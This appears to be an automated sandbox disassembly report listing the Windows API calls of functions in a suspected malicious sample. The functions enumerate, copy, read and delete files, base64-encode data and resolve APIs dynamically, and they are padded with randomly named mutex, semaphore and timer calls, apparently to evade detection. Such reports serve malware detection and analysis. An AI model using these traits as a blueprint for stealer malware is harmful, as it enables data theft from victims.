Part of subcall function 0040FC69: ReleaseMutex.KERNEL32(00000000), ref: 0040FEDC
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(uvfb6x9g,iyeph0nr), ref: 0040FEEC
Part of subcall function 0040FC69: GlobalFree.KERNELBASE(0040C0BE), ref: 0040FEF1

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 00404B49
LocalAlloc.KERNEL32(00000040,00000040), ref: 00404B58
LocalAlloc.KERNEL32(00000040,0000020A), ref: 00404B67
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,?,00000000,00000000), ref: 00404B88
StrCpyW.SHLWAPI(?,?), ref: 00404BA3
LocalFree.KERNEL32(00000000), ref: 00404BCD
LocalFree.KERNEL32(?), ref: 00404BD6
LocalFree.KERNEL32(?), ref: 00404BDD
LocalFree.KERNEL32(00000000), ref: 00404BE4
FindNextFileW.KERNEL32(00000000,00000010), ref: 00404BFA
FindClose.KERNEL32(00000000), ref: 00404C09
LocalFree.KERNEL32(00000002), ref: 00404C12
LocalFree.KERNEL32(?), ref: 00404C22
LocalFree.KERNEL32(00000000), ref: 00404C29
LocalFree.KERNEL32(?), ref: 00404C30
LocalFree.KERNEL32(00000000), ref: 00404C37
LocalFree.KERNEL32(?), ref: 00404C40
LocalFree.KERNEL32(?), ref: 00404C4C
LocalFree.KERNEL32(00000000), ref: 00404C53
DeleteFileW.KERNEL32(?), ref: 00404C5A

Strings

.4@, xrefs: 004049C1

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$Create$Free$Alloc$FileSemaphore$EventRelease$FindMutex$EnvironmentVariable$CloseTimerWaitable$Open$DebugErrorFirstLastOutputResetString$ByteCancelCharMappingMultiWidelstrlen$ChangeCombineCopyDeleteGlobalHandleNextNotificationPathSizelstrcmp
String ID: .4@
API String ID: 754036680-6553759
Opcode ID: 651eb1fa9959123daae43a38ee7e9ad0e4dda8cefcb305ecb6a39849268c8d5a
Instruction ID: 92223a322afd9b6b147d7d6d1edd72798714c4c0176affe73647336438e6c8c0
Opcode Fuzzy Hash: 651eb1fa9959123daae43a38ee7e9ad0e4dda8cefcb305ecb6a39849268c8d5a
Instruction Fuzzy Hash: 96713E71A09305EBDB109FB1DC4DE9F7F79EB89701F108179FA02A7291DB7899018B68

Function 00404720 Relevance: 56.2, APIs: 31, Strings: 1, Instructions: 211memoryfilestringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000208,00000002,00000000,00000002), ref: 0040473B

Part of subcall function 0040FC69: lstrlenW.KERNEL32(00000000,00000000,?,00000000), ref: 0040FC80
Part of subcall function 0040FC69: lstrlenW.KERNEL32 ref: 0040FC89
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000040,-00000080), ref: 0040FC9D
Part of subcall function 0040FC69: CreateMutexA.KERNEL32(00000000,00000000,MTXv7nh0o7s,00000000), ref: 0040FCB9
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(00pbq394,c3gschjc), ref: 0040FCD5
Part of subcall function 0040FC69: ReleaseMutex.KERNEL32(00000000), ref: 0040FCD8
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000000,00000368), ref: 0040FCE4
Part of subcall function 0040FC69: RegOpenKeyExA.KERNELBASE(80000001,reg9ogvr0xq,00000000,00020019,?), ref: 0040FD06
Part of subcall function 0040FC69: LocalFree.KERNEL32(00000000), ref: 0040FD09
Part of subcall function 0040FC69: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,0000080C,00000000), ref: 0040FD1D
Part of subcall function 0040FC69: RegOpenKeyExA.KERNEL32(80000001,reg7zkajz1y,00000000,00020019,?), ref: 0040FD3A
Part of subcall function 0040FC69: FindCloseChangeNotification.KERNEL32(00000000), ref: 0040FD3D
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_9w00jqb8), ref: 0040FD54
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FD5A
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(87j5ox0s,7l8u4u8m), ref: 0040FD6E
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(q04pfiaa,kptwv1ur), ref: 0040FD7A
Part of subcall function 0040FC69: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_u5fjxky5), ref: 0040FD85
Part of subcall function 0040FC69: SetEvent.KERNEL32(00000000), ref: 0040FD8E

Part of subcall function 0040FC69: ResetEvent.KERNEL32(00000000), ref: 0040FD9B
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLaf6ijeup), ref: 0040FDA8
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FDAE
Part of subcall function 0040FC69: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_ezfcnhiz), ref: 0040FDC2
Part of subcall function 0040FC69: OutputDebugStringA.KERNEL32(log: 1q5wdw2w), ref: 0040FDC9
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000000,00000D5B,?), ref: 0040FDE3
Part of subcall function 0040FC69: GetLastError.KERNEL32 ref: 0040FDEB
Part of subcall function 0040FC69: LocalFree.KERNELBASE(00000000), ref: 0040FDF2
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(v19r9fkt,32cl1w9n), ref: 0040FE02
Part of subcall function 0040FC69: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_duo9zfet), ref: 0040FE11
Part of subcall function 0040FC69: RegOpenKeyExA.KERNELBASE(80000001,regbsc0gy31,00000000,00020019,?), ref: 0040FE2A
Part of subcall function 0040FC69: CancelWaitableTimer.KERNEL32(00000000), ref: 0040FE31
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(5xc4rfm6,1w9a7ezv), ref: 0040FE47
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML0c4o0o20), ref: 0040FE54
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FE5E
Part of subcall function 0040FC69: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_5lfr0i9u), ref: 0040FE6D
Part of subcall function 0040FC69: SetEvent.KERNEL32(00000000), ref: 0040FE76
Part of subcall function 0040FC69: ResetEvent.KERNEL32(00000000), ref: 0040FE7D
Part of subcall function 0040FC69: FindFirstFileA.KERNEL32(s_5v4dwb9r,?), ref: 0040FE8B
Part of subcall function 0040FC69: FindClose.KERNEL32(00000000), ref: 0040FE92
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_pmn3yhef), ref: 0040FEA3
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FEAD
Part of subcall function 0040FC69: OutputDebugStringA.KERNEL32(log: zqaxjx1i), ref: 0040FEBC
Part of subcall function 0040FC69: CreateMutexA.KERNEL32(00000000,00000000,MTXg35mzup0), ref: 0040FEC9
Part of subcall function 0040FC69: GetLastError.KERNEL32 ref: 0040FED5

FindFirstFileW.KERNEL32(00000000,?), ref: 00404764
lstrcmpW.KERNEL32(?), ref: 00404794
LocalAlloc.KERNEL32(00000040,00000208), ref: 004047AA
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 004047B9
LocalAlloc.KERNEL32(00000040,00000208), ref: 004047C7

Part of subcall function 0041046B: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,000012F3,00000000,00000000,?,0000020A), ref: 00410488
Part of subcall function 0041046B: CloseHandle.KERNEL32(00000000), ref: 0041048F
Part of subcall function 0041046B: SetEnvironmentVariableA.KERNEL32(6dgac4un,g41v9360), ref: 0041049F
Part of subcall function 0041046B: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_vszfrk1v), ref: 004104AD
Part of subcall function 0041046B: GetLastError.KERNEL32 ref: 004104B5
Part of subcall function 0041046B: CancelWaitableTimer.KERNEL32(00000000), ref: 004104C0
Part of subcall function 0041046B: LocalAlloc.KERNEL32(00000000,000002F7), ref: 004104CC
Part of subcall function 0041046B: RegOpenKeyExA.ADVAPI32(80000001,reg6l0e1w30,00000000,00020019,?), ref: 004104EE
Part of subcall function 0041046B: LocalFree.KERNEL32(00000000), ref: 004104F1
Part of subcall function 0041046B: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_88c4qzrn), ref: 00410500
Part of subcall function 0041046B: SetEvent.KERNEL32(00000000), ref: 00410509
Part of subcall function 0041046B: ResetEvent.KERNEL32(00000000), ref: 00410510
Part of subcall function 0041046B: FindFirstFileA.KERNEL32(s_tdhyddm1,?), ref: 00410522
Part of subcall function 0041046B: FindClose.KERNEL32(00000000), ref: 00410529
Part of subcall function 0041046B: CreateMutexA.KERNEL32(00000000,00000000,MTX20fugzrs), ref: 0041053C
Part of subcall function 0041046B: ReleaseMutex.KERNEL32(00000000), ref: 00410549
Part of subcall function 0041046B: LocalAlloc.KERNEL32(00000040,00000208), ref: 0041056B
Part of subcall function 0041046B: CreateMutexA.KERNEL32(00000000,00000000,MTX3jgp3d9d), ref: 0041057D
Part of subcall function 0041046B: ReleaseMutex.KERNEL32(00000000), ref: 0041058A
Part of subcall function 0041046B: OutputDebugStringA.KERNEL32(log: xkhuruup), ref: 00410591
Part of subcall function 0041046B: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML0tlu090e), ref: 004105A6
Part of subcall function 0041046B: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 004105B0

CopyFileW.KERNEL32(00000000,?,00000000), ref: 004047E6
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000004,00000000,00000000), ref: 00404801
GetFileSize.KERNEL32(00000000,00000000), ref: 0040480C
LocalAlloc.KERNEL32(00000040,00000208), ref: 00404819
StrCpyW.SHLWAPI(00000000), ref: 00404826

Part of subcall function 0040FC69: ReleaseMutex.KERNEL32(00000000), ref: 0040FEDC
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(uvfb6x9g,iyeph0nr), ref: 0040FEEC
Part of subcall function 0040FC69: GlobalFree.KERNELBASE(0040C0BE), ref: 0040FEF1

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 004048A8
LocalAlloc.KERNEL32(00000040,00000040), ref: 004048B7
LocalAlloc.KERNEL32(00000040,0000020A), ref: 004048C6
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,?,00000000,00000000), ref: 004048E7
StrCpyW.SHLWAPI(?,?), ref: 00404902
LocalFree.KERNEL32(00000000), ref: 0040492C
LocalFree.KERNEL32(?), ref: 00404935
LocalFree.KERNEL32(?), ref: 0040493C
LocalFree.KERNEL32(00000000), ref: 00404943
FindNextFileW.KERNEL32(00000000,00000010), ref: 00404959
FindClose.KERNEL32(00000000), ref: 00404968
LocalFree.KERNEL32(00000002), ref: 00404971
LocalFree.KERNEL32(?), ref: 00404981
LocalFree.KERNEL32(00000000), ref: 00404988
LocalFree.KERNEL32(?), ref: 0040498F
LocalFree.KERNEL32(00000000), ref: 00404996
LocalFree.KERNEL32(?), ref: 0040499F
LocalFree.KERNEL32(?), ref: 004049AB
LocalFree.KERNEL32(00000000), ref: 004049B2
DeleteFileW.KERNEL32(?), ref: 004049B9

Strings

A4@, xrefs: 00404720

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$Create$Free$Alloc$FileSemaphore$EventRelease$FindMutex$EnvironmentVariable$CloseTimerWaitable$Open$DebugErrorFirstLastOutputResetString$ByteCancelCharMappingMultiWidelstrlen$ChangeCombineCopyDeleteGlobalHandleNextNotificationPathSizelstrcmp
String ID: A4@
API String ID: 754036680-1139772546
Opcode ID: ae3a41346f1726cccf0d4d208b007322e020e5299be0abe55ee505bea0610188
Instruction ID: c6b3013982b871107fa85538d288acbf9ed047a62643f5a6c11f6db7866c7b78
Opcode Fuzzy Hash: ae3a41346f1726cccf0d4d208b007322e020e5299be0abe55ee505bea0610188
Instruction Fuzzy Hash: E4711071A08305EBDB109FB1DC4DE9F7F79EB89701F108179FA06A7291DB7859018B68

Function 004077E4 Relevance: 46.7, APIs: 31, Instructions: 207memoryfileCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000208,00000000,00000000,00000000), ref: 004077FC

Part of subcall function 0040FC69: lstrlenW.KERNEL32(00000000,00000000,?,00000000), ref: 0040FC80
Part of subcall function 0040FC69: lstrlenW.KERNEL32 ref: 0040FC89
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000040,-00000080), ref: 0040FC9D
Part of subcall function 0040FC69: CreateMutexA.KERNEL32(00000000,00000000,MTXv7nh0o7s,00000000), ref: 0040FCB9
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(00pbq394,c3gschjc), ref: 0040FCD5
Part of subcall function 0040FC69: ReleaseMutex.KERNEL32(00000000), ref: 0040FCD8
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000000,00000368), ref: 0040FCE4
Part of subcall function 0040FC69: RegOpenKeyExA.KERNELBASE(80000001,reg9ogvr0xq,00000000,00020019,?), ref: 0040FD06
Part of subcall function 0040FC69: LocalFree.KERNEL32(00000000), ref: 0040FD09
Part of subcall function 0040FC69: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,0000080C,00000000), ref: 0040FD1D
Part of subcall function 0040FC69: RegOpenKeyExA.KERNEL32(80000001,reg7zkajz1y,00000000,00020019,?), ref: 0040FD3A
Part of subcall function 0040FC69: FindCloseChangeNotification.KERNEL32(00000000), ref: 0040FD3D
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_9w00jqb8), ref: 0040FD54
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FD5A
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(87j5ox0s,7l8u4u8m), ref: 0040FD6E
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(q04pfiaa,kptwv1ur), ref: 0040FD7A
Part of subcall function 0040FC69: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_u5fjxky5), ref: 0040FD85
Part of subcall function 0040FC69: SetEvent.KERNEL32(00000000), ref: 0040FD8E

Part of subcall function 0040FC69: ResetEvent.KERNEL32(00000000), ref: 0040FD9B
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLaf6ijeup), ref: 0040FDA8
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FDAE
Part of subcall function 0040FC69: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_ezfcnhiz), ref: 0040FDC2
Part of subcall function 0040FC69: OutputDebugStringA.KERNEL32(log: 1q5wdw2w), ref: 0040FDC9
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000000,00000D5B,?), ref: 0040FDE3
Part of subcall function 0040FC69: GetLastError.KERNEL32 ref: 0040FDEB
Part of subcall function 0040FC69: LocalFree.KERNELBASE(00000000), ref: 0040FDF2
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(v19r9fkt,32cl1w9n), ref: 0040FE02
Part of subcall function 0040FC69: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_duo9zfet), ref: 0040FE11
Part of subcall function 0040FC69: RegOpenKeyExA.KERNELBASE(80000001,regbsc0gy31,00000000,00020019,?), ref: 0040FE2A
Part of subcall function 0040FC69: CancelWaitableTimer.KERNEL32(00000000), ref: 0040FE31
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(5xc4rfm6,1w9a7ezv), ref: 0040FE47
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML0c4o0o20), ref: 0040FE54
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FE5E
Part of subcall function 0040FC69: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_5lfr0i9u), ref: 0040FE6D
Part of subcall function 0040FC69: SetEvent.KERNEL32(00000000), ref: 0040FE76
Part of subcall function 0040FC69: ResetEvent.KERNEL32(00000000), ref: 0040FE7D
Part of subcall function 0040FC69: FindFirstFileA.KERNEL32(s_5v4dwb9r,?), ref: 0040FE8B
Part of subcall function 0040FC69: FindClose.KERNEL32(00000000), ref: 0040FE92
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_pmn3yhef), ref: 0040FEA3
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FEAD
Part of subcall function 0040FC69: OutputDebugStringA.KERNEL32(log: zqaxjx1i), ref: 0040FEBC
Part of subcall function 0040FC69: CreateMutexA.KERNEL32(00000000,00000000,MTXg35mzup0), ref: 0040FEC9
Part of subcall function 0040FC69: GetLastError.KERNEL32 ref: 0040FED5

FindFirstFileW.KERNEL32(00000000,?), ref: 00407825
StrStrW.SHLWAPI(?), ref: 00407855
LocalAlloc.KERNEL32(00000040,00000208), ref: 0040786B
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 0040787A
LocalAlloc.KERNEL32(00000040,00000208), ref: 00407888

Part of subcall function 0041046B: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,000012F3,00000000,00000000,?,0000020A), ref: 00410488
Part of subcall function 0041046B: CloseHandle.KERNEL32(00000000), ref: 0041048F
Part of subcall function 0041046B: SetEnvironmentVariableA.KERNEL32(6dgac4un,g41v9360), ref: 0041049F
Part of subcall function 0041046B: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_vszfrk1v), ref: 004104AD
Part of subcall function 0041046B: GetLastError.KERNEL32 ref: 004104B5
Part of subcall function 0041046B: CancelWaitableTimer.KERNEL32(00000000), ref: 004104C0
Part of subcall function 0041046B: LocalAlloc.KERNEL32(00000000,000002F7), ref: 004104CC
Part of subcall function 0041046B: RegOpenKeyExA.ADVAPI32(80000001,reg6l0e1w30,00000000,00020019,?), ref: 004104EE
Part of subcall function 0041046B: LocalFree.KERNEL32(00000000), ref: 004104F1
Part of subcall function 0041046B: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_88c4qzrn), ref: 00410500
Part of subcall function 0041046B: SetEvent.KERNEL32(00000000), ref: 00410509
Part of subcall function 0041046B: ResetEvent.KERNEL32(00000000), ref: 00410510
Part of subcall function 0041046B: FindFirstFileA.KERNEL32(s_tdhyddm1,?), ref: 00410522
Part of subcall function 0041046B: FindClose.KERNEL32(00000000), ref: 00410529
Part of subcall function 0041046B: CreateMutexA.KERNEL32(00000000,00000000,MTX20fugzrs), ref: 0041053C
Part of subcall function 0041046B: ReleaseMutex.KERNEL32(00000000), ref: 00410549
Part of subcall function 0041046B: LocalAlloc.KERNEL32(00000040,00000208), ref: 0041056B
Part of subcall function 0041046B: CreateMutexA.KERNEL32(00000000,00000000,MTX3jgp3d9d), ref: 0041057D
Part of subcall function 0041046B: ReleaseMutex.KERNEL32(00000000), ref: 0041058A
Part of subcall function 0041046B: OutputDebugStringA.KERNEL32(log: xkhuruup), ref: 00410591
Part of subcall function 0041046B: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML0tlu090e), ref: 004105A6
Part of subcall function 0041046B: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 004105B0

CopyFileW.KERNEL32(00000000,004074D7,00000000), ref: 004078A7
CreateFileW.KERNEL32(004074D7,80000000,00000001,00000000,00000004,00000000,00000000), ref: 004078C2
GetFileSize.KERNEL32(00000000,00000000), ref: 004078CD
LocalAlloc.KERNEL32(00000040,00000208), ref: 004078DA
StrCpyW.SHLWAPI(00000000), ref: 004078E7

Part of subcall function 0040FC69: ReleaseMutex.KERNEL32(00000000), ref: 0040FEDC
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(uvfb6x9g,iyeph0nr), ref: 0040FEEC
Part of subcall function 0040FC69: GlobalFree.KERNELBASE(0040C0BE), ref: 0040FEF1

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 00407962
LocalAlloc.KERNEL32(00000040,00000040), ref: 00407971
LocalAlloc.KERNEL32(00000040,0000020A), ref: 00407980
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,?,00000000,00000000), ref: 004079A1
StrCpyW.SHLWAPI(004074D7,004074D7), ref: 004079BC
LocalFree.KERNEL32(00000000), ref: 004079E6
LocalFree.KERNEL32(004074D7), ref: 004079EF
LocalFree.KERNEL32(004074D7), ref: 004079F6
LocalFree.KERNEL32(00000000), ref: 004079FD
FindNextFileW.KERNEL32(00000000,00000010), ref: 00407A13
FindClose.KERNEL32(00000000), ref: 00407A22
LocalFree.KERNEL32(?), ref: 00407A2B
LocalFree.KERNEL32(00000000), ref: 00407A3B
LocalFree.KERNEL32(00000000), ref: 00407A42
LocalFree.KERNEL32(004074D7), ref: 00407A49
LocalFree.KERNEL32(00000000), ref: 00407A50
LocalFree.KERNEL32(004074D7), ref: 00407A59
LocalFree.KERNEL32(004074D7), ref: 00407A65
LocalFree.KERNEL32(00000000), ref: 00407A6C
DeleteFileW.KERNEL32(004074D7), ref: 00407A73

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$Create$Free$Alloc$FileSemaphore$EventRelease$FindMutex$EnvironmentVariable$CloseTimerWaitable$Open$DebugErrorFirstLastOutputResetString$ByteCancelCharMappingMultiWidelstrlen$ChangeCombineCopyDeleteGlobalHandleNextNotificationPathSize
String ID:
API String ID: 519359828-0
Opcode ID: 1ac5c633eb2874347aea6f9096e4b25fd6976b21cfaffb98e19ff51a419d746a
Instruction ID: cc52851ab1483569cd231817be1819f5270af6b9671c0c5a93968dbad5d9b90d
Opcode Fuzzy Hash: 1ac5c633eb2874347aea6f9096e4b25fd6976b21cfaffb98e19ff51a419d746a
Instruction Fuzzy Hash: 99712E71A48309EBDB109FB1DC8DE9F7F79EB49701F008179FA02A7291DB7859018B68

Function 00407553 Relevance: 16.6, APIs: 11, Instructions: 126memorystringencryptionCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00001FA0,?,?,?), ref: 0040756D
lstrlenA.KERNEL32(00407BBF,00000001,00000000,?,00000000,00000000), ref: 00407580
CryptStringToBinaryA.CRYPT32(00407BBF,00000000), ref: 00407588
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000), ref: 00407603
LocalAlloc.KERNEL32(00000040,00000000), ref: 00407616
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,?), ref: 00407631
StrCpyW.SHLWAPI(000000FF,00000000), ref: 00407641
LocalFree.KERNEL32(00000000), ref: 0040764A
StrCpyW.SHLWAPI(000000FF), ref: 00407670
StrCpyW.SHLWAPI(000000FF), ref: 0040768C
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,0040835C), ref: 00407697

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$AllocByteCharFreeMultiWide$BinaryCryptStringlstrlen
String ID:
API String ID: 2954581451-0
Opcode ID: 1e402ff515ac88b7f91b067c9bb6c2ce2a901effc2305eaff76f27a5e23b45d3
Instruction ID: 2d9071325f2dbb36b65872138fd004062679ddf790aded1ab67745516b4c27c7
Opcode Fuzzy Hash: 1e402ff515ac88b7f91b067c9bb6c2ce2a901effc2305eaff76f27a5e23b45d3
Instruction Fuzzy Hash: D6414671904205AFEB119FA9DC48EEFBFB9EF89710F008065F906E7250EB355901CB6A

Function 0040254C Relevance: 9.0, APIs: 6, Instructions: 50encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptBinaryToStringW.CRYPT32(?,?,40000001,00000000,00000000), ref: 0040256A
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040257C
CryptBinaryToStringW.CRYPT32(?,00000000,40000001,00000000,00000000), ref: 00402596
StrCpyW.SHLWAPI(?,00000000), ref: 004025A3
LocalFree.KERNEL32(00000000), ref: 004025AA
LocalFree.KERNEL32(00000000), ref: 004025B5

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$BinaryCryptFreeString$Alloc
String ID:
API String ID: 3407721659-0
Opcode ID: a4d65bacaaebcd9428a5d10c970fe43a1be805868f8ef02c7800399208177f40
Instruction ID: 9aa3191e204bfde5135b9265a8deebda68a4c6eca32d7e738eea69be74f0fffc
Opcode Fuzzy Hash: a4d65bacaaebcd9428a5d10c970fe43a1be805868f8ef02c7800399208177f40
Instruction Fuzzy Hash: AE017832605214FBEB118BA4DD88FEB7EBCDB49755F004071FA02E2290D7B48E0096B8

Function 004025C2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryW.CRYPT32(00000000,00000000,00000001,00000000,5@,00000000,00000000), ref: 004025E1
LocalAlloc.KERNEL32(00000040,5@,?,004035EB,?), ref: 004025EF
CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,5@,00000000,00000000), ref: 00402605
LocalFree.KERNEL32(00000000,?,004035EB,?), ref: 00402613

Strings

5@, xrefs: 004025C7, 004025D5, 004025EB, 004025FD

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: 5@
API String ID: 4291131564-819730362
Opcode ID: e731ddf903f2bf16d936fab16aa24e019aea8db877a6691c8bb8ccb607de433b
Instruction ID: 31ea7a4a20cc771829987a046864a1b1a3f406c3666e02e97f36d253f4b52349
Opcode Fuzzy Hash: e731ddf903f2bf16d936fab16aa24e019aea8db877a6691c8bb8ccb607de433b
Instruction Fuzzy Hash: B501FB71201226BBD7214B56DD49E97BFBCEF457A4B104021F908E6390D6B19C00C6A4

Function 004076A4 Relevance: 21.1, APIs: 14, Instructions: 77libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?), ref: 004076B6
GetProcAddress.KERNEL32(?), ref: 004076C8
GetProcAddress.KERNEL32(?), ref: 004076DA
GetProcAddress.KERNEL32(?), ref: 004076EC
GetProcAddress.KERNEL32(?), ref: 004076FE
GetProcAddress.KERNEL32(?), ref: 00407710
GetProcAddress.KERNEL32(?), ref: 00407722
GetProcAddress.KERNEL32(?), ref: 00407734
GetProcAddress.KERNEL32(?), ref: 00407746
GetProcAddress.KERNEL32(?), ref: 00407758
